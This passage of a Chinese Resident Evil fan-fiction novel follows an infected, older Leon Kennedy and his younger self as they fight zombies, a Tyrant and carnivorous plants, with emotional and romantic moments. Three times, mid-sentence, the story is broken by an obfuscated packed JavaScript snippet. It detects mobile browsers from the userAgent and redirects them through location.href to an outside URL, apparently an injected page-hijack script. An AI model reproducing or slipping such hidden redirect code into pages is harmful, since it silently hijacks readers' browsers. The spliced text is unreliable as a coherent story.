里昂微微扬起头,金发随着动作划出一道弧度。他薄唇微勾,轮廓分明的下巴上带着些胡茬,却莫名有种说不出的味道。 “对了,再告诉你一个好消息,你被录用了。” “什么?” “你可以做我里昂·S·肯尼迪的助手了。” “!!!” “接下来……”他活动了一下肩膀,“我们俩一起,去把那个混蛋打爆。就是得跟雪莉说声抱歉,让她白忙活一场了。” 4. 生气 肯尼迪的心跳得厉害,他甚至觉得脸颊都在发烫。他说不清这是为什么……也许是因为被信任的感觉?又或者是因为这份认可? 他跟在里昂身后,目光不由自主地落在那道高大的背影上。 修长有力的双腿迈步沉稳,紧实流畅的腰线透着从容的力量,结实的手臂随着步伐微微起伏。他说不清为什么,只是这样望着,便觉得莫名安心,还有一种道不明的东西,让人移不开眼。 那是一种过于完美……属于成熟男人的独特魅力。 就像一坛陈年美酒,沉淀出的味道让人沉醉。 “肯尼迪?喂,高兴傻了就开始走神了?” “呃……”肯尼迪猛地回过神。里昂已经把一把□□递到他面前。 “拿着。你那把小玩意儿实在没什么用,这个好歹能打出点伤害来。还有这些子弹。”里昂说着,朝不远处的帐篷扬了扬下巴,“这儿刚好有BSAA驻扎过的帐篷,里面应该还剩下些东西。我去搜一搜,注意小心周围的尸体,他们或许还没死透。” 而话音未落,帐篷前那具瘫倒的尸体忽然动了起来。 肯尼迪微微一怔。他当然知道丧尸这种东西的存在,不过这还是头一回这么清晰的看见。毕竟之前只顾着东奔西跑,哪有功夫仔细瞧这些东西。 那丧尸满脸血污,皮肉翻卷,面目模糊,十分可怕。 不过也许是因为白天,也许是因为里昂就站在身边,他倒很快镇定下来,抬手便准备射击。 “脑袋是他们的弱点。”里昂提醒道。 “明白。” 肯尼迪利落地解决了面前那个穿着作战服的丧尸。可枪声似乎惊扰了其他的丧尸,很快四周传来此起彼伏的嘶吼,他回头一看,三四个尸体正摇摇晃晃地爬起来。 肯尼迪无奈地叹了口气,“怎么着,都是想一块儿开派对吗?” 来的时候一个没有,这一来就是一大群。 里昂拍了拍他的肩膀,语气莫名带着几分理所当然,“这些都交给你了。” “诶?什么意思?” 里昂耸耸肩,“照顾一下伤患嘛。我这后背可还疼着呢,您不会指望一个伤员来帮您吧?” “………” 肯尼迪方才不那么慌张,说到底还不是因为身边有里昂这么个筋肉魔鬼在。 “我来调查并且收集物资,”里昂调侃道,“你来解决它们,我亲爱的助手。” “…………” 肯尼迪知道对方是在调侃,可听到“亲爱的”这三个字,心跳还是乱了一拍。 不过他没往深处想,只是立刻举起枪,对准了那些该死的丧尸。 “砰!砰!” 肯尼迪经验虽少,不过他到底是警校第一名的成绩毕业的,枪法自然准得很。 而里昂在帐篷里翻找着BSAA的电脑记录,顺便看看有没有弹药补给。 肯尼迪则是守在帐篷外,表情早已没了起初的慌乱,开枪的速度也越来越快,枪枪命中要害。 里昂扫了一眼电脑记录,摇了摇头,什么有用的都没有。好在弹药倒是找到了不少,等会儿对付那个大块头,应该够用了。 他把子弹往腰间挂好,手指忽然不受控制地颤了一下。 呃。 里昂的手藏在黑色皮手套里,那是为了遮住那些像焦炭一样蔓延的黑色感染痕迹。他微微转了转手腕,果然看见黑色的血丝已经爬到了手套外面。 呵……他的时间不多了。 里昂那双淡蓝色的眼眸暗了暗。他侧目看向背对着自己,正举枪射击的肯尼迪。 那头清爽的金发在阳光下微微晃动,年轻,鲜活,嘴唇微微抿着,认真得有些……可爱。 里昂忍不住想,会不会是上帝知道他快死了,所以把年轻的自己送来,好让那些他还来不及完成的事,有人能接着做下去? 呵……别想这些有的没的了。 不过,他确实得趁着最后这点时间,教他点什么。 里昂走到肯尼迪身后,把手搭在他的肩膀上,另一只手握住他持枪的手,“学校里教的那套太死板了,不适合你。你肌肉绷得太紧,时间久了肌肉损伤严重……这后背可真是让人头疼,反正我是这样。” 他压低声音,“放松点儿,手稍微垂下来……” 而他和肯尼迪的距离实在是太近了。 近到肯尼迪金色的发丝擦过他的鼻尖,飘来那股熟悉的,他喜欢的洗发水的香味。 里昂觉得心底有什么东西在发热。 不过他没太在意,只是加快语速,把这么多年来积累的经验和技巧,简明扼要地讲给对方听。 他说得很快但条理清晰。他相信自己的脑子一定能很快吸收,而在知道理论之后,那就是靠日复一日的训练和实践了。 而这需要时间……也许那段时间,他已经不在了。 里昂忽然觉得,死亡好像不像他之前以为的那样无所谓……那样洒脱了。 为什么呢? 那股熟悉的香味扰得他没法细想。他微微后退了一步,戴着皮手套的手指蹭了蹭鼻尖。 “…………” 肯尼迪背对着他,却远没有背影看起来那么镇定。他也不知道自己为什么会不镇定。 只是里昂那把低沉而富有磁性的嗓音在耳蜗里回荡,呼出的热气洒在后颈上,激起一片细密的鸡皮疙瘩。 大概……只是不习惯有人靠这么近罢了。 最后一个丧尸应声倒下。 肯尼迪长出一口气。 “干得不错。”里昂夸了一句。 肯尼迪有些不好意思地回过头,“都搜查好了吗?” “嗯,他们没留下什么有用的信息。”里昂朝停车场的方向扬了扬下巴,“现在去……” 话说到一半,他的表情骤然一变。 “蹲下!” 里昂的手快得几乎看不清,腰间的手枪瞬间出膛,一枪崩掉了肯尼迪身后那只突然出现的,速度极快的丧尸。 肯尼迪瞪大了眼睛。 “别放松警惕。”里昂说,“不管什么时候,哪怕是在你觉得可以信任的人面前,尤其是背后。” “明白。”肯尼迪点头。 里昂没再多说。成长这事儿,总得一步一步来。 他把多余的子弹分给肯尼迪,又从一具BSAA丧尸身上扒下防弹衣,递过去,“穿上。” 肯尼迪拿着防弹衣犹豫了一下,“还是您穿吧,您身上还有伤。” “我不需要。太碍事了。” 肯尼迪看着他坚决的眼神,只好乖乖穿上。 他又四下看了看,想再找一件,可惜目力所及,再没有第二件了。 “跟紧我。”里昂说,“那个大块头要是出来,目标应该是我……到时候你离远点儿。” “嘿,先生,您不是说我是您的助手吗?怎么又要一个人来?” 里昂叹了口气。他不可能让肯尼迪去面对那种危险,想了想,换了个说法,“你站远点儿,帮我火力掩护,行不行?” “…………”,肯尼迪只好点头,“行。” 里昂心里暗自失笑,年轻的自己,果然是这么好糊弄。 他握着“安魂”,顺着雪莉给的路线往孤儿院的方向走,同时时刻留意着周围的动静,留意着暴君会在哪里出现。 可耳边只有风声,没有那熟悉的沉重脚步。 而眼看就要走过那片废弃的停车场—— 突然出现的一声金属的嘎吱声,让两个人同时停住了脚步。 里昂循声回头望去。 那个黑塔般的怪物就站在废墟之上,手里明晃晃地举着—— 一枚导弹。 里昂瞳孔骤缩,“Oh !fuck me!” 他反应极快,一把扯住肯尼迪的胳膊,翻到一辆废弃的汽车后面。他来不及多想,把肯尼迪的脑袋死死按在自己胸口,整个人环抱着他,将他护在身下。 而被抱住的肯尼迪,心脏陡然像是被一只无形的手攥住了,他闻着里昂身上传来的血腥的气息,心跳的极其的厉害。 而下一秒—— 暴君将导弹狠狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁边的肯尼迪枪法也准得很,连连命中。 暴君被肯尼迪的火力吸引过去。里昂趁机绕到它身后,抽出腰后的消防斧,一斧头劈进它的脖颈。 他侧身躲过挥来的利爪,闪到它胸前,一斧接一斧,狠狠砍向那颗跳动的肿瘤。 暴君反应过来之前,他已经抽身退开。肯尼迪立刻用火力压制,把怪物的注意力拉过去。 两个人几乎不需要交流,便能猜到对方的想法。配合起来顺畅得不可思议。里昂都觉得意外,他们简直像是合作了十几年的老搭档。 暴君力量虽强,速度却慢,又没有智慧。两人合力之下,那庞然大物终于轰然倒地,彻底失去了生机。 里昂看着倒在地上的暴君,长长地吐出一口气。 他望向走过来的肯尼迪,薄唇微微勾起,伸出一只手。 肯尼迪愣了一下,然后伸手,用力握住了那只手。 “干得不错。”里昂笑着说。 肯尼迪有些不好意思,微微垂下视线,想避开他的目光。 他也不知道自己为什么会这样。 可这一低头,他却看见了,里昂那只黑皮手套没遮住的手腕上,爬满了大片的黑色血丝。 肯尼迪的眉头骤然拧紧。这一次,他绝不会再让对方把话题岔开。 他握紧里昂的手,顺势把那副手套扯了下来。 那只本该白皙的手背上,布满了黑色的,狰狞的血丝。 肯尼迪一把攥住他的手腕,“这到底是怎么回事?” “…………” 里昂顿住了。他想把手抽回来,没想到年轻的肯尼迪力气倒不小。 “您不说清楚的话……”肯尼迪气呼呼地说,“我……反正这一路上,您的耳朵就别想清净了。” “…………” 5. 死亡 肯尼迪力气虽然不小,可又怎么大得过身经百战的里昂。 里昂只用了点巧劲,手腕一翻便从他手中抽了出来。 里昂甩了甩手,看向肯尼迪,“把手套给我。” “嘿,别无视我行不行?” 里昂懒得废话,一把将手套夺了回去。 “真是野蛮的强盗。”肯尼迪试图阻止,可惜在里昂面前他就像只被溜着玩的小狗,三两下就被抢走了。 里昂给“安魂”重新装好子弹,插回胸前的枪袋。“走了。时间不等人,格蕾丝还等着我们。” 肯尼迪把枪拿好,快步跟上,满脸不忿,“为什么不肯说?这到底是什么?病毒感染吗?您的身体到底怎么了?到底发生了什么,嘿,您的身体也是我的身体,我至少有权知道答案吧?” 里昂带着肯尼迪从浣熊市警察局的废墟出来,沿着雪莉给的路线往孤儿院方向奔跑。 而路上不时有丧尸拦路,他顺手解决。 而身后的肯尼迪像个喇叭似的,里昂满脑都回荡着“What happened?” “……哦,麻烦你安静点好吗?”里昂从来不知道一个人可以这么吵,他任务的时候向来独来独往,哪经历过这种声音轰炸。 肯尼迪一枪爆掉前面丧尸的脑袋,嘴却没停,“不行,我得为自己负责。您得明白,这也是我的身体。” “……” 里昂无奈地摇了摇头。看来不告诉他,这一路是别想清净了。 解决完挡路的丧尸,里昂终于看见了孤儿院那扇废弃的门牌。 他按下耳麦,“我到孤儿院了。这儿看起来什么也没有……” “注意安全,里昂。”雪莉说。 肯尼迪凑过来插嘴,“雪莉小姐,您知不知道里昂长官手上有一片黑色的血丝?还在不断蔓延,双手和脖子上都有。我看那样子不大对劲,那到底是什么?” 他话还没说完,里昂已经切断了语音。可是头两句,雪莉还是听见了。 很快,雪莉担忧的声音传来,“里昂,你还好吗?” “我好得不能再好了。”里昂不假思索道。 “里昂……” “嘿他可一点也不好…” “这儿有个碎嘴的麻烦,看来我得处理一下。”里昂关掉耳麦,无可奈何地白了肯尼迪一眼。 肯尼迪见他那副又气又恼的样子,往后退了半步,“就算您要打我,我也还是会问的。” “我看上去有那么暴躁吗?”里昂吐了口气,无奈道,“算了,反正你迟早会知道,跟上。” 肯尼迪眼睛一亮,“您总算肯说了?” “潜伏性T病毒综合征。” 肯尼迪一脸茫然。他毕竟还没经历过那些,自然不知道这个名词究竟是什么意思。 “你不是想知道我跟浣熊市警察局的渊源吗?那我长话短说。” “我去浣熊市报到的那天,也就是你来到这里的那个时间。你已经见过那些奇怪的生物了,他们都是被一种叫T病毒的东西感染变异。而那种病毒让整个浣熊市在短短几天内变成了人间炼狱,把人变成没有理智的怪物……” 说到这里,里昂眉头紧皱,神情明显痛苦起来。 “当时我以为自己没被感染。可其实是潜伏性的T病毒,它在我体内变异成了一种更可怕的东西,连清除T病毒的抗毒剂都不管用。你明白这意味着什么吗?” “您……您是说您要死了?!”肯尼迪瞳孔骤缩,嘴唇发白,满脸不可置信。 里昂倒是一副无所谓的样子,“你不用太担心。你刚到浣熊市,接触时间不长,也许根本没感染。而且现在时间还早,肯定能等到抗毒剂研制出来。” “我担心的不是这个。”肯尼迪烦躁地抓了抓头发,从里昂身后快步走到他前面,“您快死了,您知道吗?我担心的是您。” “我知道。” “您知道?”肯尼迪简直不敢相信自己的耳朵,“您知道,为什么还在这儿执行任务?赶紧去治疗啊?” “我知道……” “为什么?您为什么还能这么淡定?您已经放弃了?”肯尼迪实在受不了他这副无所谓的态度,直接拦住去路,气得一把攥住里昂的衣领。 里昂顿住了。已经很久没人敢这么揪着他的衣领了,换作平时,这种人早被他打翻在地了。 “您那个特工组织到底是什么货色?”肯尼迪怒气冲冲地说,“让您这么一个快死的老头子来执行这种任务?” 里昂把手放在他攥紧的手上,声音冷下来,“我不喜欢这样。放手。再不放手,你会后悔的。” “我不放!” 下一秒,里昂单手将他按倒在地。 肯尼迪痛呼一声,趴在地上侧头瞪着他。 里昂整理好被揪皱的衣领,嘴唇紧抿,抬脚要走。刚迈出一步,裤腿就被攥住了。 “………” 他回头看去,肯尼迪那双浅蓝色的眼睛正死死盯着他,一副绝不罢休的样子。 里昂抬头望了望天,微微摇头,深深叹了口气,“我已经告诉你了。有必要这么揪着不放吗?” “最重要的事,您一直没说。” 里昂眉头紧锁,满脸疲惫。他心里的那些想法,就连最亲近的人都没告诉过。 “……算了。” 反正他也活不了多久了。 他蹲下来,朝肯尼迪伸出手。 肯尼迪那双淡蓝色的眼睛眨了眨,里面像是点缀了小星星,他似乎有些不敢相信。 “您总算肯说了?” 肯尼迪站起身,都顾不得身上隐隐作痛的腹部,目不转睛地盯着里昂。 里昂心里一软,真是青春稚嫩的自己啊,执着的让他……手足无措。 他道,“边走边说吧。” “制造T病毒的罪魁祸首是安布雷拉公司。我这么多年一直在跟这些生化恐怖主义打交道。这次任务的线索,全都指向一个人——维克多·基甸。这人以前是安布雷拉的研究员,参与过T病毒的研究。所以我不可能放他走。” “难道就没有别的特工了?非得是您?” 里昂眼底暗了暗,睫毛微微垂下,手死死攥紧。 肯尼迪说,“您一定有更深的原因,才会连命都不要跑到这儿来。” 里昂嘴角微勾,“我是一名特工。追查安布雷拉的余孽、阻止新的生化威胁,对我来说是不可推卸的职责。” “哦,拜托……别跟我绕圈子行不行?” 里昂有些不耐烦了,“我还能怎么说?不是这个原因,还能是什么?” “是浣熊市警察局……对吗?” 肯尼迪的声音骤然响起。 本来大步向前的里昂竟顿了一顿,那停顿极细微,可肯尼迪还是察觉到了。 “看来我说对了。” 里昂装作不在意,“那是二十八年前的事了……” “可您一直没忘。你时间还记的这么清楚。” “够了!”里昂声音突然拔高,“你到底想知道什么?扮演侦探让你觉得很有趣吗?” “很明显,”肯尼迪说,“您恼羞成怒了。” “Fuck!”里昂下意识抓住胸口“安魂”的枪柄,“我真想一枪崩了你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404835|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “很抱歉,我觉得自己应该没那么残暴。” “呵呵……”里昂无奈地笑了。果然是了解自己的,永远是自己。 “不过这次你不会明白的,也不会感同身受。”里昂说,“我也挺庆幸的……很高兴你不在那里,菜鸟。” “…………”肯尼迪一怔。那里?是浣熊市警察局吗? “我确实是因为浣熊市才来到这儿。那一晚的经历,我想我这辈子都不会忘记。而也是那一晚,彻底改变了我的人生,搅乱了我的人生。” “详细的事我不想说,反正都是戳人伤口的伤心事。” “所以就算要死了,只要任务牵扯到浣熊市,我都会来。我要知道真相。我不想死不瞑目,你明白吗?”他看着肯尼迪,“你不是了解自己吗?你应该知道,我做了决定就不会改。” “…………” 肯尼迪张了张嘴。他确实不太明白……究竟发生了什么,让未来的自己背负上这么沉重的使命?毕竟他没有经历过。 可里昂话语里的痛苦和决绝,让他明白,他没法再劝了。 他的声音有些发涩,“还有多久?您……还能活多久?” 里昂嘴角扯了扯,“不知道。也许一天?也许……马上。” “您怎么还笑得出来?” “我已经活够久了。” “……” 什么叫活的够久了?! …… 里昂带着肯尼迪从洞穴里走出来,眼前是一片悬崖。崖边摆着BSAA留下的装置。 他低头看了看,下面的峡谷很深,而在旁边挂着绳子,看来已经是有人下去了。 “看来下面有东西。跟上。” 他回头看了一眼肯尼迪。那年轻人还沉浸在刚才那番话里,神色恍惚。里昂叹了口气,“我早就知道会有这一天。没必要这样。” “我……”肯尼迪张了张嘴,想说什么,又不知道说什么才好。他很快调整好表情,不想让里昂看出来。 可心里,却翻来覆去地想着那句话。 里昂率先抓住绳索,他双腿蹬稳,顺着绳索向下坠去。峡谷很深,深得看不见底。而等他落到谷底,积水已经没过了靴底。 里昂打开手电筒,光束扫过四周,前方出现一个山洞,洞口黑黢黢的,就像是深不见底的深渊。 脚下全是水,每一步都溅起水声。 “啪嗒……啪嗒……” 山洞里安静得有些过分。 “注意周围。”里昂说,“感觉不太对劲。” “明白。”肯尼迪警惕地环顾四周,可心里那股压不住的难过还是在胸口蔓延。 他还是像之前一样,望着前面那个男人的背影。 想到他快要死了,他心里就觉得难受得要命。 要不是怕拖累进度,拖累里昂,他真想大哭一场。可身为警察的素养,让他只能死死压住自己的情绪。 就在这时,他听见窸窸窣窣的声音,有什么东西缠上了他的脚腕。 肯尼迪举起手电筒照过去。那些原本一动不动的藤蔓竟然活了过来,一朵花像张开的大嘴,满是獠牙,朝他扑来。 他还没反应过来,里昂已经一把将他推开,反手一枪,把那朵食人花轰得粉碎。 肯尼迪愣住了。他终于知道自己为什么这么难受了。 里昂又救了他,而且是不顾性命地救了他。 他看着里昂手臂上擦破的伤口,心里五味杂陈。 “我已经活够久了……” 这句话又在他脑子里响起来。 肯尼迪心里大喊道,但是我不想让你死! 6. 冷战 “呃——” 里昂为了救肯尼迪,他没注意到地上的碎石,小臂被划开一道口子,鲜血顺着肌肉线条淌下来。 他皱起眉头,“肯尼迪先生,现在不是演苦情戏的时候。打起精神来,别离开我半步。” “抱歉……”,肯尼迪嘴唇哆嗦着。 里昂没说什么,只是甩了甩手上的血,压根没想包扎。这点伤对他来说是家常便饭,按照这个出血量,血很快就会自己凝住的。 而肯尼迪微微垂眸,他很快调整好状态,不再胡思乱想,全神贯注地警戒四周。 里昂则是打着手电筒在前面带路,肯尼迪紧跟其后。 在昏暗的洞穴里,两个人的脚步声啪嗒啪嗒地回响着。 随着两人的深入,那潮湿的气息扑面而来。在洞穴两侧的岩壁上,藤蔓攀附在上面,密密麻麻… 而这看上去像是没有生命的枯藤,可刚刚经历过那一遭,里昂可不觉得这些东西有那么简单。 里昂抬手比了个停止行动的手势,他率先用步枪试探性地射击了那些闭合的食人花。 果然,窸窸窣窣的声音立刻响了起来。 藤蔓瞬间像蛇一样扭动起来。 “果然都是装睡。” 里昂枪法极准,步枪连点,瞬间爆掉两朵食人花的头,他提醒道,“注意站位,别靠近墙壁,到处都是藤蔓。那些花一旦张开,就往花蕊上打,那是它们的弱点。” “明白。”肯尼迪应声回道。 而在说话间他已经连开三枪,三朵花应声而碎,动作越来越干净利落。 那些该死的藤蔓专门前后夹击,而里昂和肯尼迪背靠着背,彼此照应着这些专爱偷袭的东西。 枪声此起彼伏,他们很快便清掉了一大片。 里昂又一枪打爆一朵张牙舞爪的食人花,打完顺势瞥了肯尼迪一眼。 这会儿他才后知后觉地发现。下了洞穴之后,肯尼迪就变得格外沉默。 里昂的心情倒还算轻松,又有一朵食人花朝他扑过来,他故意说,“这些花儿还真是爱我。” “……” 而回应他的只有冷静的枪声。 好吧。工作要紧。 里昂左边一枪,右边一枪,说实话这些东西缠上来确实烦人。 两人并肩往洞穴深处推进。脚下的水越来越深,仿佛有什么东西正在前方等着他们。 “感觉有什么大家伙在等着我们。”里昂说。 另一个人果然不说话。 “………” 里昂薄唇紧抿。算了,我这么在意他干什么。 手电筒的光照向前方,果然看见洞穴出口处盘踞着一丛巨大无比的藤蔓,上面缀着两朵花苞,比之前那些大了足足一倍。 “小心。”里昂提醒着。 “……嗯。” 里昂开枪打中食人花,盘踞在墙壁上的藤蔓瞬间活了过来。 “嘶——!!” 那两朵巨型花活像两条巨蟒,朝着里昂和肯尼迪张开血盆大口,露出层层叠叠的獠牙。 肯尼迪抢先开口,“我盯左边,您盯右边。” 里昂挑了挑眉。这次倒是说话说得快。他本想叫肯尼迪站远点儿,张了张嘴,最后还是只说了句,“行。” 两朵食人花同时张开大嘴,分别扑向肯尼迪和里昂。 里昂趁它张嘴的瞬间,一枪“安魂”轰过去。 爆炸的冲击让食人花的攻势顿了一顿,而里昂抓准机会,弹跳而起,拔出斧头准备直接给它来个斩首。 可另一朵食人花立刻调转头来,张开大口朝他扑过来。 “退后!”肯尼迪急忙冲过来,边开枪边喊。 里昂瞬间反应过来,一斧头劈向扑来的那朵,翻滚躲开。 肯尼迪松了口气。在他视角里,里昂差点就被食人花一口咬掉脑袋。 可就在他刚松这一口气,一条藤蔓以迅雷不及掩耳之势,缠上了他的大腿和后腰。 “!!!” 肯尼迪想要挣脱,可那些藤蔓收缩得太快了。它们一圈又一圈地缠上他的腰和手臂,越收越紧,勒得他几乎喘不上气。 藤蔓猛地收紧,将他整个人吊离了地面。 “肯尼迪!”里昂的声音从背后炸开。 肯尼迪还没来得及回头,就见一道黑影飞来。 是里昂甩手将斧头扔了过来。 而幸好肯尼迪的双手还没被捆死,他猛地探出手,一把攥住了斧柄。 他反手就往缠在身上的藤蔓砍去,一下,两下,黏稠的汁液溅了他一脸。 可他正砍着,余光里突然闪过两道黑影。 那两朵蛰伏在暗处的食人花,竟同时从藤蔓丛中窜了出来,一左一右地朝他扑了过来。 “Fuck!”里昂骂了一声,他开枪想吸引它们的注意。可这些东西好像学聪明了,全都直奔肯尼迪而去。 里昂顾不了那么多了,拔腿就冲过去。 “我马上就能挣脱!”肯尼迪大喊,“您别过来!小心!” 可就在肯尼迪挣脱的那一秒,那些狡猾的花忽然调转方向,齐齐扑向里昂! “什么!”里昂一惊,反应过来想要躲避,心脏却猛地抽缩了一下。 胸口剧烈抽搐,是这该死的病毒又发作了。 他的动作顿了那么一瞬。 就这一秒的迟钝,其中一朵花直接将他整个人吞了进去! “里昂!” 肯尼迪的声音带着他自己都没察觉的颤抖。 眼前的景象速度像是变慢成了二倍速。 他看见那朵花猛地合拢,满是獠牙的巨口便将整个人吞了进去!! 心脏像被一只大手死死攥住,连呼吸都停了片刻,耳边像是出现了耳鸣…让人天旋地转…… 陡然一股怒火从胸腔里炸开。 他瞬间单手举枪便朝那朵花的藤蔓开火,枪声一声接一声! “砰!砰!” 而另一朵食人花也扑了过来。肯尼迪侧身躲开,反手一斧头狠狠砸向它脆弱的花蕊。 他疯了似的连砍三刀,一脚蹬开,端起冲锋枪又是一梭子。最后一斧头反手劈下,那朵食人花应声断裂,绿色的汁液喷溅而出。 而两朵花本是同根生。把里昂吞进去的那朵痛苦地张开了花瓣。 “咳咳!”里昂呻-吟道。 肯尼迪脸上闪过一丝喜色,“里昂!” 里昂赫然被花蕊伸出的藤蔓捆着,正往那张满是利齿的大嘴里送。 他正拼命挣扎,而幸好他身上还有把军用刀,他努力将刀刃插进藤蔓里。 这时里昂听见了肯尼迪的喊声。 他抬眸看去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404836|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯尼迪端着狙击枪正在瞄准。 那张原本白皙的脸上溅满了绿色的汁液,浅蓝色的眼神却无比坚毅。 他的表情冷酷而严肃,甚至带着一丝凶狠。 里昂恍了恍神。忽然觉得,这个年轻人好像一下子成长了许多。 “砰!!” 这一枪威力十足,直接轰掉了一片花瓣。 “嘶!!” 肯尼迪又是两枪,干脆利落地轰碎了另外两片花瓣。 他丢下狙击枪,抄起斧头,借着藤蔓的弹力攀上花顶,对准花蕊就是一通猛砍,将捆住里昂的藤蔓直接斩断。 里昂顺势翻滚下来。 而与此同时,无数绿色的汁液喷洒而下。 里昂抬头望去,就看到肯尼迪将整朵食人花砍了下来。 肯尼迪翻身躲过藤蔓的追捕,而落地时已经拔出配枪,利落地一枪打爆了藏在藤蔓间的煤气罐。 汹涌的火焰瞬间将藤蔓吞噬,在洞穴里燃成一片绚丽的烟火…… 而肯尼迪站在原地,抬手抹掉脸上的绿水,随手一甩,把那恶心粘腻的汁液甩在地上。 “………” 里昂不禁惊叹……原来看年轻的自己,骨子里也是个暴脾气。 他把掉落的手枪子弹收回包里,朝肯尼迪走过去,伸出手,“多谢了。” 他没想到自己也会有被年轻的自己救下的一天。 可肯尼迪看着他伸过来的手,却像没看见一样,只是默默把斧头递还给他。 “………”,里昂只好顺势把斧头挂回背后。 肯尼迪什么都没说,只是背好枪,就径直往前走。 洞穴入口的藤蔓已被烧成灰烬,前面就是出口。 里昂莫名觉得有些尴尬。 他望着闷头走在前面的肯尼迪,张了张嘴,想说点什么,最终还是只是摸了摸鼻尖。 他后知后觉地意识到,这小子好像在生闷气。 可为什么? 不对吧。明明刚才遇袭的是他,对方救了他,他还活着,怎么反倒这个态度? 没走出多远,前方的山谷里便现出一处与周遭环境格格不入的景物。 一扇巨大的金属圆门矗立在那里。 那银灰色的表面在多年风雨侵蚀下依然泛着冷光。 门上那个红白相间的保护伞标志,告诉里昂这里是安布雷拉公司的遗址。 里昂眉头紧皱,他走上前去,越过站在原地不动的肯尼迪。 而他没有注意到对方微微发颤的肩膀。 里昂在门前站定,拉下门上的铁栓。 “咔——” 银色圆门缓缓打开。 里昂正要往里走,可却没有听见身后跟上来的脚步声。 “走了……” 他扭头准备提醒,可回头看见的一幕,让他整个人都愣住了。 昏黄的夕阳下。 肯尼迪在哭。 肯尼迪站在原地,不知什么时候摘下了防毒面具。 他的嘴唇紧抿着,发白抽抖,眼眶里全是泪水。他捂着自己的眼睛,泪水从指缝间渗出来,顺着脸颊淌下去。 肯尼迪的声音哽在喉咙里,“我知道……我知道您为什么总是一个人了做任务了。因为我没办法……我没办法看着任何人离开。” “………” 7. 有趣 里昂看着哭泣的肯尼迪,一时间竟不知该说什么才好。 “我……”,他刚想开口说几句安慰的话,却怎么也说不出来。不知道是因为这些年他太少安慰别人了,还是因为肯尼迪哭得实在太过伤心。 而让肯尼迪哭的人,又恰恰是自己…… 因为面前这个人就是年轻的自己,里昂恍惚间觉得,好像哭的人又是自己……这感觉,实在奇怪。 奇怪到……连他也想哭了。 他的心脏酸涩难耐,像是被肯尼迪的泪水给浸湿了。 当年的他,经历过那一夜之后,几乎不曾这样痛快地哭过。大概是因为他必须坚强起来,必须直面这一切。死亡的威胁无时无刻不在压迫着他,所以他从来不能……也不敢露出软弱的一面。 可浣熊市警察局的那一夜过后,那些记忆化作漫长岁月里心头的一道伤,像一把钝刀……慢慢凌迟着他的心脏。 二十一岁到四十九岁,凌迟了他整整二十八年…… 他手脚有些僵硬地走过去,几乎同手同脚。 他犹豫了一下,将手放在肯尼迪肩上,而另一只手轻轻拉开了他捂着眼睛的手。 他看见了那双泛着血丝,透着惊惶的浅蓝色眼睛。 他好像是第一次这样认真地看自己的眼睛。原来年轻时候的自己,眼睛像两汪蓝色的海水,清澈透亮。 里昂摘下手套,露出那双已被黑色血丝爬满的手,笨拙而生疏地擦去肯尼迪脸颊上的泪水。 这感觉实在奇妙。像是在抚慰当年那个无助的自己。 也像是在抚慰自己。 他心中那根一直绷紧的弦,好像松了些许。 像是走进一条死胡同,而胡同的尽头,是蜷缩在角落哭泣的自己…… 肯尼迪吸了吸鼻子,声音沙哑,他不好意思地躲开他的手,“您是不是觉得我很懦弱?” 里昂收回手,叹了口气。 他心中的那一股郁气彻底消散。 忽然,他猛地将手按在肯尼迪后脑勺上,用力把他的脑袋按在自己胸口。 肯尼迪眼前一黑,随即意识到,里昂正用力地抱着他,那胸膛的柔软与温暖,让他不由睁大了眼睛。 胸腔的震颤传来,里昂低沉的声音在头顶响起,“哭吧。只有一分钟。哭出来……以后会好受些。抱歉……我不太会安慰人。” 肯尼迪的手指微微发颤。他不再沉默孤独的哭泣,终于哭出了声…… 夕阳下,两个人拥在一起。 被按在胸口的肯尼迪或许不知道, 看上去像是一个人在哭,其实是两个人在哭。 里昂那双浅蓝色的眼睛望着夕阳,眼底似有水光,又像是阳光的倒影。 他想起了很多事。想起死去的马文警长,想起那场他没能参加的欢迎会,想起那位伟大的肯多父亲……还有无数在他面前变异,死去的人们…… 他忽然想通了。 不管时间线如何改变,他里昂·S·肯尼迪,终究是这样的人。 一个想要保护他人,帮助他人的警察。 是的。那一夜的记忆,不该是痛苦地想忘却的噩梦。那是他人生中永远无法磨灭的一页。 那一夜让他彻底成长,这不是负担,而是责任。 里昂的嘴角慢慢扬起。 该安魂了。 …… 在安布雷拉遗址内部。 肯尼迪跟在里昂身后,耳尖不由自主地发红。一想到刚才自己那副丢人的样子,他就觉得羞耻。 实在是里昂“死”去的那一幕,给他的冲击太大了。 那种绝望的恐慌,让压抑的情绪彻底决堤,他怎么也控制不住。 本来只打算落几滴泪就收住的,可他又想起里昂在警察局里那些悲伤的神情。 他忽然意识到,这一生中,离开他的人大概不会少…… 泪水便再也止不住了。 “……” …… 肯尼迪一如既往的跟着里昂的身后,他意外留意到,里昂的心情似乎好了许多,不像之前那样死气沉沉,反而多了几分活力。 